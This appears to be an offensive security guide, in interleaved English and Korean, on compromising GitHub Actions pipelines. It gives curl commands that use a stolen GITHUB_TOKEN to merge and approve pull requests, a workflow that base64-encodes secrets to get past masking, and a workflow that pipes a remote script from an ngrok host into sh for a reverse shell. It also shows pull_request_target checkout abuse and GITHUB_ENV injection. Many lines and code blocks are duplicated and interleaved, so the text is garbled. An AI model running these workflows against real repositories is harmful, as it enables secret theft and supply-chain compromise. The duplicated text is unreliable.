|
||||
이 페이지에서는 다음을 찾을 수 있습니다:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- 공격자가 Github Action에 접근하는 데 성공했을 때의 **모든 영향 요약**
|
||||
- **액세스하는 방법**:
|
||||
- 액션을 생성할 **권한**을 가지기
|
||||
- **풀 리퀘스트** 관련 트리거 남용
|
||||
- **기타 외부 접근** 기술 남용
|
||||
- 이미 손상된 레포에서 **피벗팅**
|
||||
- 마지막으로, **내부에서 액션을 남용하기 위한 사후 활용 기술**에 대한 섹션 (언급된 영향을 초래함)
|
||||
|
||||
## Impacts Summary
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
[**Github Actions에 대한 기본 정보**](../basic-github-information.md#github-actions)를 확인하세요.
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
**저장소** 내에서 **GitHub Actions에서 임의의 코드를 실행**할 수 있다면, 다음을 수행할 수 있습니다:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- 파이프라인에 마운트된 **비밀**을 **탈취**하고, AWS 및 GCP와 같은 외부 플랫폼에 대한 무단 접근을 얻기 위해 **파이프라인의 권한을 남용**할 수 있습니다.
|
||||
- **배포를 손상**시키고 다른 **아티팩트**를 손상시킬 수 있습니다.
|
||||
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 가능하게 할 수 있습니다.
|
||||
- **사용자 정의 작업자에서 코드를 실행**하여 컴퓨팅 파워를 남용하고 다른 시스템으로 피벗할 수 있습니다.
|
||||
- `GITHUB_TOKEN`과 관련된 권한에 따라 **레포 코드 덮어쓰기**.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
이 "**비밀**" (`${{ secrets.GITHUB_TOKEN }}` 및 `${{ github.token }}`에서 오는)은 관리자가 이 옵션을 활성화할 때 제공됩니다:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
이 토큰은 **Github 애플리케이션이 사용할** 동일한 토큰으로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> Github은 **레포 간** 접근을 허용하는 [**흐름**](https://github.com/github/roadmap/issues/74)을 출시해야 하며, 이를 통해 레포가 `GITHUB_TOKEN`을 사용하여 다른 내부 레포에 접근할 수 있습니다.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
이 토큰의 가능한 **권한**은 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
토큰은 **작업이 완료된 후 만료**됩니다.\
|
||||
이 토큰은 다음과 같은 형식입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
이 토큰으로 할 수 있는 흥미로운 것들:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="PR 승인" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="PR 생성" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> 여러 경우에 **Github Actions envs 또는 secrets 안에서 github 사용자 토큰을 찾을 수 있습니다**. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Github Action 출력에서 비밀 목록</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>비밀을 이용한 리버스 셸 얻기</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
다른 사용자의 리포지토리에서 Github Token에 부여된 권한을 **로그를 확인하여** 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## 허용된 실행
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> 이는 Github actions를 손상시키는 가장 쉬운 방법이 될 것입니다. 이 경우는 **조직에서 새 리포를 생성할 수 있는 권한**이 있거나 **리포지토리에 대한 쓰기 권한**이 있다고 가정합니다.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> 이 시나리오에 있다면 [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)를 확인할 수 있습니다.
|
||||
|
||||
### Execution from Repo Creation
|
||||
### 리포 생성에서의 실행
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
조직의 구성원이 **새 리포를 생성할 수** 있고 Github actions를 실행할 수 있는 경우, **새 리포를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수** 있습니다.
|
||||
|
||||
### Execution from a New Branch
|
||||
### 새 브랜치에서의 실행
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
이미 구성된 Github Action이 있는 리포지토리에서 **새 브랜치를 생성할 수** 있다면, 이를 **수정**하고, **내용을 업로드**한 다음, **새 브랜치에서 해당 액션을 실행**할 수 있습니다. 이렇게 하면 **리포지토리 및 조직 수준의 비밀을 유출**할 수 있습니다(하지만 그들이 어떻게 불리는지 알아야 합니다).
|
||||
|
||||
수정된 액션을 **수동으로** 실행 가능하게 만들 수 있으며, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 소란을 피우고 싶은지에 따라 다름):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## 포크된 실행
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> 공격자가 **다른 저장소의 Github Action을 실행**할 수 있도록 허용하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자가 이를 손상시킬 수 있습니다.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
워크플로우 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 **처음** **협업**하는 경우, 일부 **유지 관리자가** 워크플로우의 **실행**을 **승인**해야 합니다:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> **기본 제한**이 **처음 기여하는** 기여자에게 해당되므로, **유효한 버그/오타를 수정**하여 기여한 후 **새로운 `pull_request` 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다**.
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **이것을 테스트했지만 작동하지 않습니다**: ~~다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
또한 기본적으로 **쓰기 권한**과 **비밀 접근**을 대상 저장소에 **차단**합니다. [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급한 바와 같이:
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> `GITHUB_TOKEN`을 제외하고, **비밀은 포크된** 저장소에서 워크플로우가 트리거될 때 **러너에 전달되지 않습니다**. **`GITHUB_TOKEN`은 포크된 저장소의 풀 리퀘스트에서 읽기 전용 권한**을 가집니다.
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 저장소를 덮어쓸 수는 없습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 저장소의 것이 아닙니다!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`에 비밀이나 쓰기 권한이 없더라도 공격자는 예를 들어 **악성 아티팩트를 업로드**할 수 있습니다.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
워크플로우 트리거 **`pull_request_target`**은 대상 저장소에 **쓰기 권한**과 **비밀 접근**을 가집니다(권한 요청을 하지 않음).
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
워크플로우 트리거 **`pull_request_target`**은 **PR에서 제공된 것**이 아니라 **기본 컨텍스트에서 실행**됩니다(신뢰할 수 없는 코드를 **실행하지 않기 위해**). `pull_request_target`에 대한 자세한 정보는 [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\
|
||||
또한 이 특정 위험한 사용에 대한 자세한 정보는 [**github 블로그 게시물**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)을 확인하세요.
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
**실행된 워크플로우**가 **기본**에서 정의된 것이고 **PR**에서 정의된 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전**해 보일 수 있지만, **안전하지 않은 몇 가지 경우가 있습니다**.
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
이것은 **비밀에 접근할 수 있습니다**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로우가 `완료`, `요청됨` 또는 `진행 중`일 때 워크플로우를 실행할 수 있도록 합니다.
|
||||
|
||||
이 예제에서는 별도의 "테스트 실행" 워크플로우가 완료된 후 실행되도록 워크플로우가 구성되어 있습니다:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
이런 종류의 워크플로우는 **외부 사용자가 `pull_request` 또는 `pull_request_target`을 통해 트리거할 수 있는** **워크플로우**에 **의존**할 경우 공격받을 수 있습니다. 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째는 **`workflow_run`**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: `${{ github.event.pull_request.head.sha }}`\
|
||||
두 번째는 **신뢰할 수 없는** 코드에서 **`workflow_run`** 워크플로우로 **아티팩트**를 **전달**하고 이 아티팩트의 내용을 **RCE에 취약하게** 사용하는 것입니다.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: `pull_request`에서 실행될 때 사용/다운로드된 코드가 원본에서 온 것인지 포크된 PR에서 온 것인지 확인
|
||||
|
||||
## Abusing Forked Execution
|
||||
## 포크된 실행 남용
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했습니다. 이제 이러한 실행이 잘못 구성된 경우 어떻게 남용될 수 있는지 살펴보겠습니다:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### 신뢰할 수 없는 체크아웃 실행
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
**`pull_request`**의 경우, 워크플로우는 **PR의 컨텍스트에서** 실행되므로 **악의적인 PR의 코드**를 실행하게 됩니다. 그러나 누군가가 **먼저 이를 승인해야** 하며, [제한 사항](./#pull_request)과 함께 실행됩니다.
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
**`pull_request_target` 또는 `workflow_run`**을 사용하는 워크플로우가 **`pull_request_target` 또는 `pull_request`**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자는 실행된 코드를 제어할 수 없습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> 그러나 **액션**에 **명시적인 PR 체크아웃**이 있어 **PR에서 코드를 가져오는 경우**(기본에서가 아님), 공격자가 제어하는 코드를 사용하게 됩니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
잠재적으로 **신뢰할 수 없는 코드는 `npm install` 또는 `npm build` 중에 실행됩니다**. 빌드 스크립트와 참조된 **패키지는 PR 작성자가 제어합니다**.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> 취약한 액션을 검색하기 위한 GitHub 도크는: `event.pull_request pull_request_target extension:yml`입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성하는 행위자가 누구인지에 대한 조건을 사용하는 것).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### 컨텍스트 스크립트 주입 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
특정 [**GitHub 컨텍스트**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)가 있으며, 이 값은 **PR을 생성하는 사용자**에 의해 **제어됩니다**. GitHub 액션이 이 **데이터를 사용하여 무언가를 실행하는 경우**, **임의 코드 실행**으로 이어질 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV 스크립트 주입** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
문서에 따르면: 워크플로우 작업의 후속 단계에서 **환경 변수를 사용할 수 있도록** 하려면 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 작성하면 됩니다.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
공격자가 이 **env** 변수 안에 **임의의 값을 주입**할 수 있다면, 그는 **LD_PRELOAD** 또는 **NODE_OPTIONS**와 같은 후속 단계에서 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
예를 들어 ([**이**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 아티팩트를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### 취약한 서드파티 GitHub 액션
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
[**이 블로그 게시물**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)에서 언급했듯이, 이 GitHub 액션은 다양한 워크플로우 및 심지어 리포지토리에서 아티팩트에 접근할 수 있게 해줍니다.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
문제는 **`path`** 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 사용되거나 워크플로우에서 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 손상시킬 수 있습니다.
|
||||
|
||||
취약한 워크플로우의 예:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
